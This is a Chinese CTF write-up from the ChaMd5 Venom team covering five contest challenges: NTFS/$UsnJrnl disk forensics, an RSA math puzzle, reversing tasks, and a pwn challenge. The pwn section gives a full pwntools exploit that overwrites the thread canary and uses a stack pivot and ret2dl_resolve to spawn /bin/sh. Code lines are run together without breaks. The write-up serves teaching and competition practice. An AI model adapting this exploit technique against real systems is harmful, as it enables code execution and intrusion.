投稿:Venom

配图:sixwhale

继ChaMd5使用京东公益捐款后ChaMd5安全团队的Venom战队联合i春秋公益赛继续捐款,恭喜此次团队pcat、line担任专家,下面针对团队出的五道题进WP分享。

Misc

磁盘套娃 | Adolph

解题思路通过题目描述了解题目“一个熟悉的格式却是一个神秘的磁盘,磁盘内隐藏着某种不为人知的秘密”,解压题目压缩包发现是一个vhd格式文件,于是对该磁盘文件进行分析,在此使用winhex对磁盘进行分析(其他分析工具均可,因习惯而异)。加载磁盘后发现分区格式为NTFS,分析分区内容,发现删除文件dekart_priviate_disk加密容器软件夹和名为easy_disk的加密磁盘,于是导出待分析磁盘文件,并尝试使用priviate disk软件尝试加载该加密磁盘文件

通过使用dekpart private disk加载磁盘发现该容器需要密码进行加载,接下来的思路转化为寻找容器的解密密码,题目描述提示格式,于是对ntfs分区开展分析,在对文件系统进行痕迹分析时,文件系统的元数据文件是关键,经过对元数据分析发现该文件系统存在$UsnJrnl的记录,$J文件记录了文件系统的操作记录,导出$J文件进行痕迹分析。在取证分析的实战中,通过$J文件还原行为人的操作行为记录是非常关键,即使文件系统的文件记录项被删除依然可以证明文件的曾经存在,此题中的MFT表项中已经彻底擦除了密码文件。关于$J文件解析的字节位关系如下表:

通过对$j文件的分析可以发现该ntfs文件系统除了上述提及的文件外还曾经操作过文件名9o7@Xs78I0.txt的文件,使用该文件名作为密码成功解密加密容器

解密加密容器后会提示文件系统格式存在问题,系统提示格式化,于是检查该容器磁盘。检查发现该分区内的引导扇区存在异常,即0扇区偏移16进制数的00-10被擦除写0,通过DBR残余记录可判断为FAT分区。

依据FAT分区的磁盘结构,手动恢复被擦除的DBR引导记录的字节,FAT分区的00-0A偏移位置是跳转指令和固定的厂商标志和os版本EB 58 90 4D 53 44 4F 53 35 2E 30为MSDOS5.0的ASCII代码,FAT分区通常存放两个FAT表,FAT2备份FAT1表示簇占用情况,winhex中可以使用数据查看器辅助填写恢复数据。

除了手工填写外快捷的DBR恢复:使用private disk加密重启创建一个大小30M的加密分区按默认配置格式化后将其DBR的引导记录直接复制到被损坏擦除的题目容器),保存修改后重新连接容器,使用winhex进行磁盘快照更新后即可打开正常磁盘,可获取根目录下flag。考虑到手动恢复磁盘DBR的复杂度于是将flag文件以txt形式进行存放,将考察的重点放置到$J文件的分析中,该题的flag在解开加密容器后也可通过字节搜索关键词的方式获取。

Crypto

simple_math | Shimmer

解题思路通过阅读代码可知,题目使用RSA加密了flag,并且只给出了参数E,及其对应的密文ciphertext。由于没有给出N,所以易知需要从gen_p和gen_q函数中解得加密所使用的参数P和_Q。查看gen_p函数,可获得如下信息:

可知,要得到_P,必须先推出N1和N2。其中A为素数,并且A,C已知。由题目中的求阶乘容易联想到Wilson定理:即,当且仅当p为素数时有 (p-1)!=-1 (mod p)。N1的推导过程如下:N2的推导过程如下:

此步参考 2019 Roar CTF BabyRSA链接:https://www.cnblogs.com/wayne-tao/p/11723494.html由此可得RSA得参数之一_P。查看gen_q函数,可知也是一个RSA,已知其中的参数n,ed,并且_Q=nextPrime(2020p-2019*q),所以要得到_Q,就要先对n进行分解得到p和q。可以使用如下方法对n进行分解:null

代码如下:

k=ed-1x=pow(2,k//(2**6),n)assert(x!=1)p=gcd(x-1,n)q=n//p

此步参考 2019 神盾杯 easyRSA链接:http://soreatu.com/ctf/writeups/Writeup%20for%20easyRSA%20in%202019%E7%A5%9E%E7%9B%BE%E6%9D%AF.html由此可得RSA得参数之一_Q。至此,已得RSA参数E,P,_Q

import sympyfrom gmpy2 import gcd,invertfrom Crypto.Util.number import long_to_bytes

A=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928699539C=17837832555368308689786098708027973117794970348203719986383141676940062201987761202777419099369816828481341695174601689881519219806887761505932440928632158n= 641840878174982655326850312496169636378455577115347500957057267640600977102280072913438154955029114771051709087809927454279064916870408880749853740239718248642560401110078626938726443568692572803490357236810832674229312155746539894173791356805341671586393273678865952155249500341932905426105470392415353610397045835698808163501258474762363712287163328526252399904787053101799058499120606154737990300449437479282435046167055009692493712202386368849122605419812883126887833074654434641607372149411668612504466768080306339558792828063148576123738980431264608446603326193849200810553196864085478463086993422774817059853949748247896512719994166090254440232652496451104455075071560127966288341488523110118075041150491577844082366096788215046025436488554795141938458493258409150407281215473354273599246314944034941237527510171900646139987019380766717951556307441871365874564881565374638513827494801194029940895912077179028101890662760455651864691251980479400416227456995236912364846811949410786643764713673564022863007331006828562341241738846980912184411395632790556038655767763976115640962139547171909279164623846000835333857705944581269631616760405747716520672142021728850694537269211784578408601266217928819863736428173736140161826738813ed= 534634151124279413732259524933495479098721499860333007593590357554306358799023578194908726136928354695079848972480649724456088941906723794709312712191247045425297126517594344899286925836796680956816064609089090503579894117057252969264121691849003333804607728687046319857910698511132867345476426833313854575436202087209472834349551593011689755514138197238955298350562839877955001729313715223006875793667570760703418551390980455326976431990257513342820095246552412287184147009729875110446230949824384166464485840066906862476445054049749692262294734099027915906839812656254886862402603631321290156949953461665657610306709058617222159635281067103921037090824796905267992798715820128476225045484793453227511548884919811033318570386881936137713666127231317606909893143214808788822341878386939352957962886113639632559883992777992209148001401767753558732492213499792179169681405789041595765504039612494711563472885565786566625643290565526077483663342991770220261962082523632475094223960703649343802215392245948547397211539801128773253646005228684994277460378625729491412757387260415740823541731482803143732545953736392746596116269262129834845033889284145602522548909021358829175225208236295389454408336909318816490014229410357900614079212880259236238467905

def fast_gen_N2(A,C):    result=1    for i in range(A-2,C,-1):        result=(result*i)%A    return invert(result,A)N1=1N2=fast_gen_N2(A,C)seed1=2019*N1+2020*N2

k=ed-1x=pow(2,k//(2**6),n)assert(x!=1)p=gcd(x-1,n)q=n//pif(p>q):    p,q=q,pseed2=2020*p-2019*qif seed2<0:    seed2=(-1)*seed2

_P=sympy.nextprime(seed1)_Q=sympy.nextprime(seed2)_N=_P*_Q_E=65537_D=invert(_E,(_P-1)*(_Q-1))_C=183288709028723976658160448336519698700398459340947322152692016513169599029222514445118399653225032641541100129985101994918772329046946295962244096646038598600865786096896989355554955041779941259413115779915405468832327321189345505283184153652727885422718280179025251186380977491993641792341259672566237363655347151343020354489781675539571788934759950303331075098574759853670802171054084321131703969504258663714257549258635956184694450566287845760701724862418909255930636298209146539578608879672058346906370035692078859844402832322545368347681121504910035471822137023626638953992968941166744998545450662434365836169688461834868137046528403401190395486501502489519341656581057940794141420456022102711505759074332049547354944074402136763186087462931985682293826106916791831371302_M=pow(_C,_D,_N)print(long_to_bytes(_M))

Pwn

BFnote | b0ldfrev

解题思路1.检查题目保护,发现开了CANARY与NX

Arch:     i386-32-little

2.发现存在栈溢出与堆地址任意偏移写任意值 可利用

unsigned 

3.当一个函数被调用,当前线程的tcbhead_t.stack_guard会放置到栈上(也就是canary),32位下gs寄存器指向tcb,可以细看源码。在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不 相等的,程序将会返回error并且终止。

typedef 

4.在glibc2.23-i386的环境下,main线程的tcb块被mmap初始化在libc内存布局上方。

x8048772    
0x5ba0b500

可以看到canary在0xf7e00714这个地址刚好在libc-2.23.so代码段上方。5.当调用malloc申请内存时,若size大于等 mmap分配阈值(默认值 128KB)0x200000时,malloc会调用mmap申请内存,且申请的内存可以观察到同样在libc上方。

pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x8048000  0x8049000 r-xp     1000 0      /home/b0ldfrev/icq/BFnote 0x8049000  0x804a000 r--p     1000 0      /home/b0ldfrev/icq/BFnote 0x804a000  0x804b000 rw-p     1000 1000   /home/b0ldfrev/icq/BFnote0xf7bff000 0xf7e01000 rw-p   202000 0      0xf7e01000 0xf7fb1000 r-xp   1b0000 0      /lib/i386-linux-gnu/libc-2.23.so0xf7fb1000 0xf7fb3000 r--p     2000 1af000 /lib/i386-linux-gnu/libc-2.23.so0xf7fb3000 0xf7fb4000 rw-p     1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so0xf7fb4000 0xf7fb7000 rw-p     3000 0      0xf7fd3000 0xf7fd4000 rw-p     1000 0      0xf7fd4000 0xf7fd7000 r--p     3000 0      [vvar]0xf7fd7000 0xf7fd9000 r-xp     2000 0      [vdso]0xf7fd9000 0xf7ffc000 r-xp    23000 0      /lib/i386-linux-gnu/ld-2.23.so0xf7ffc000 0xf7ffd000 r--p     1000 22000  /lib/i386-linux-gnu/ld-2.23.so0xf7ffd000 0xf7ffe000 rw-p     1000 23000  /lib/i386-linux-gnu/ld-2.23.so0xfff0e000 0xffffe000 rw-p    f0000 0      [stack]

6.利用思路就是在最开始栈溢出的时候将canary填成值A,并做好栈迁移的准备,在.bss构造resolve数据,申请notebook大小0x200000,使其地址在libc上方;tille大小故意输错成堆地址ptr到tcb中canary的偏移,二次输入时给一个正确值,这下在输入note内容时就可以修改tcb中canary的值为A。main函数返回时绕过canary检查,迁移去执行dl_rutime_resolve,有个坑是由于栈迁移,尽量迁移后抬到bss高地址处执行,resolve数据尽量放到比指令更高的地址。

7.EXP

from pwn import *context(os='linux', arch='i386', log_level='debug')#[author]: b0ldfrevp= process('./BFnote')def debug(addr,PIE=True):    if PIE:        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)        print "breakpoint_addr --> " + hex(text_base + 0x202040)        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))    else:        gdb.attach(p,"b *{}".format(hex(addr))) 

sd = lambda s:p.send(s)sl = lambda s:p.sendline(s)rc = lambda s:p.recv(s)ru = lambda s:p.recvuntil(s)sda = lambda a,s:p.sendafter(a,s)sla = lambda a,s:p.sendlineafter(a,s)dl_resolve_data="\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x37\x66\x66\x5a\x6d\x59\x50\x47\x60\xa1\x04\x08\x07\x25\x02\x00\x73\x79\x73\x74\x65\x6d\x00"dl_resolve_call="\x50\x84\x04\x08\x70\x20\x00\x00"canary=0xdeadbe00postscript=0x804A060#correct=0x804a428payload1="1"*0x32+p32(canary)+p32(0)+p32(postscript+4+0x3a8)ru("description : ")sd(payload1)payload2="s"*0x3a8+dl_resolve_call+p32(0x12345678)+p32(postscript+0x3b8)+"/bin/sh\x00"+p64(0)+dl_resolve_dataru("postscript : ")sd(payload2)ru("notebook size : ")sl(str(0x200000))ru("title size : ")sl(str(0x20170c-0x10))ru("please re-enter :\n")sl(str(100))ru("your title : ")sl("2222")ru("your note : ")sd(p32(canary))p.interactive()

8.程序我忘了设置sleep,所以还存在极小概率的canary爆破,比赛时间那么长,就3个字节嘛 ~ 手动狗头,如果各位大师傅还有非预期 欢迎讨论~

Reverse

42 | miaonei

解题思路1.根据string找到main函数所在

Hook过程的函数

2.Hook之后的MessageBoxA为该函数

根据另一个字符串寻找flag的主要操作位置

3.该函数是flag的处理函数

检查汇编指令内容

找到flag处理主要函数,其中进行了简单的异或运算

a、b、c三个变量得到,算出为42及正常。

a=-80538473123155825b=80435312222756674c=12602435109592424lift="3nder5tandf10@t"

num1=a^-80538738812075974num2=b^80435758145817515num3=c^12602123297335631

print(hex(num1),num2,num3)array=[]str_flag=''

for i in range(5):    array.append(num3&0xff)    num3=num3>>8for i in range(5):    array.append(num2&0xff)    num2=num2>>8for i in range(5):    array.append(num1&0xff)    num1=num1>>8array.reverse()print(array)new=0for i in range(len(array)):    str_flag+=hex(ord(lift[i])^array[i])[2:]str_flag=list(str_flag)str_flag.insert(7,'-')str_flag.insert(12,'-')str_flag.insert(17,'-')str_flag.insert(22,'-')str_flag="".join(str_flag)print("flag{"+str_flag+"}")

Code2 | PureT

解题思路1.通过字符串定位法定位到关键点,分析代码逻辑

2.根据算法特征识别出关键算法是 XXTEA

3.往前推发现 XXTEA 的密钥是另一种算法的结果

4.根据算法特征识别出第一层算法是 arithmetic coding

5.已知编码表和压缩结果的情况下,编写解压脚本 exp.cpp压缩结果从 base64 里解码得到

编码表字符概率

编码表字符集合

6.获得key,运行程序输入key,解密 XXTEA 跑出 flag

招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

差异基因p为0_【i春秋杯网络安全联赛WriteUp】为逆行者加油相关推荐

  1. 2022年春秋杯网络安全联赛春季赛 勇者山峰部分WriteUp

    前言: 由于是刚入门CTF,第一次打比赛 记录一下过程 大佬绕过即可 后续会继续加油努力. MISC: 签到题: 题目描述:题目描述:题目内容:因为疫情,有多久没听到上课铃声了.(如果你还不知道怎么签 ...

  2. 2021年春秋杯网络安全联赛秋季赛勇者山峰 pwn The SIMS - Programming Girl

    名字很长,程序像名字一样长,估计主要是为了增加代码阅读量(加大难度) 菜单很多,就不复制代码了,大概重要内容如下: wroking 工作就是挣钱,看了半天感觉没用,要求钱太多,主要是靠赔钱. impr ...

  3. 2021年春秋杯网络安全联赛秋季赛逆向snake.exeWriteup

    下载附件snake.exe,看题目描述是一个游戏那就打开玩玩,发现这是一个贪吃蛇游戏,游戏大概是通过玩贪吃蛇打到一定的分数之后就会有一个flag校验的窗口,所以基本可以判断出不出flag和那个贪吃蛇游 ...

  4. 2021年春秋杯网络安全联赛秋季赛 传说殿堂赛道misc部分writeup

    Misc 问卷调查 略 secret_chart 解压出来一张图片,图片后面有个ZIP,手动分离出来之后去看图片发现没有LSB,准备去爆破一下然后就被我爆出来了 解压之后发现还真是chart,发现表格 ...

  5. 第二届网刃杯网络安全大赛 Writeup

    第二届网刃杯网络安全大赛 Writeup 前言 MISC 玩坏的XP * ISC ncsubj carefulguy easyiec xypo7 喜欢移动的黑客* LED_BOOM* 需要安全感* c ...

  6. 差异基因p为0_何谓功率因数,何谓功率因数“超前”、“滞后”为你揭开它的奥秘...

    大家好,我是犹如雨下,今天我们来谈一谈电路中常见的功率因数是什么? 我们知道视在功率S(也就是正弦电路中的总功率容量)在一定的条件下可以转换成有功功率P和无功功率Q.通过生活的实践我们总是希望视在功率 ...

  7. 春秋杯秋季联赛勇者赛道MISC部分WP

    1.secret_chart 解压压缩包,获得一个图片,使用foremost分离出一个zip 进行爆破,得到密码9527 容易发现的事情是吃到这一列$B,还有王苗苗这一行,都是1 宋爱梅这一行都是10 ...

  8. 河南省第四届”金盾信安杯”网络安全大赛writeup(过程,解题思路)

    目录 写在最最前面 Misc Misc-qianda0_Sdoku​编辑 Misc-盗梦空间 Misc-Megmi Misc-数据泄露01-账号泄露追踪 Web Web-eZphp2 Web-EzPH ...

  9. 2021年“深育杯“网络安全大赛Writeup

    Misc 签到题 下载附件得到一张二维码 扫码关注,后台回复签到即可获得flag flag: SangFor{AaKjtQr_OjJpdA3QwBV_ndsKdn3vPgc_} Login 下载附件e ...

  10. 2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析

    2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析 前言 sql_debug sql_debug 题⽬介绍 dsn_from_uri 触发phar反序列化 Linux下PHP内核调试⼩知识 ...

最新文章

  1. Spring MVC 使用拦截器 HiddenHttpMethodFilter配置Rest风格的URL
  2. caffe windows 学习第一步:编译和安装(vs2012+win 64)
  3. Docker——基于HubServing部署全套PaddleOCR Restful API服务(CPU版本)
  4. 【线上分享】音频多麦盲分技术
  5. 一个注册页面的前端模板(html+css+javascript)可自适应屏幕
  6. BZOJ4001[TJOI2015]概率论(数学、期望、生成函数、卡特兰数)
  7. 云服务器网站301重定向跳转有什么作用?
  8. 【论文翻译笔记】A Systematic Evaluation of StaticAPI-Misuse Detectors
  9. SPSS作业-卡方检验-列联表
  10. 高效能人士的七个习惯--由内而外全面造就自己
  11. NVAPI抓屏传递给D3D11(D3D9到D3D11的数据传递)
  12. Xilinx FPGA高速串行收发器简介
  13. 别人从你身上偷不走的10件东西
  14. 华为交换机常用命令大全
  15. Unreal Engin_画廊制作笔记 _010给墙画添加灯光
  16. 用全站 CDN 部署 Discourse 论坛
  17. LaTeX各种命令,符号
  18. Android用户界面的设计方法心得,android界面设计实验总结,.docx
  19. 基于模糊测试的分布式数据库安全研究(一)——模糊测试背景知识
  20. 关于芝诺悖论中阿基里斯与龟的思考

热门文章

  1. Slam(即时定位与地图构建)
  2. unity 脚本把变量放一起,在界面上显示,同时鼠标靠近时有注释出现,变量是滑动条有区间
  3. Atitit 前端算法技术体系总结 目录 1. 3. Ui方面的算法 3 2 3.1. 软键盘算法 计算软键盘上下左右按键位置 3 2 3.2. Sprire生成随机位置算法 随机数算法 3
  4. Atitit 信息链(Information Chain)的概念理解 attilax总结
  5. Rust: (作者 洛佳) 使用Rust编写操作系统(附录一):链接器参数
  6. (转)比特币王国的内战与分裂|《财经》特稿
  7. (转)如何看待IT对于证券行业的价值
  8. 与数字化先锋共绘创新蓝图
  9. 2021世界互联网大会“全体会议”发言干货都在这篇了
  10. 一文看完“阿里云自动化运维沙龙 · 上海专场”整场干货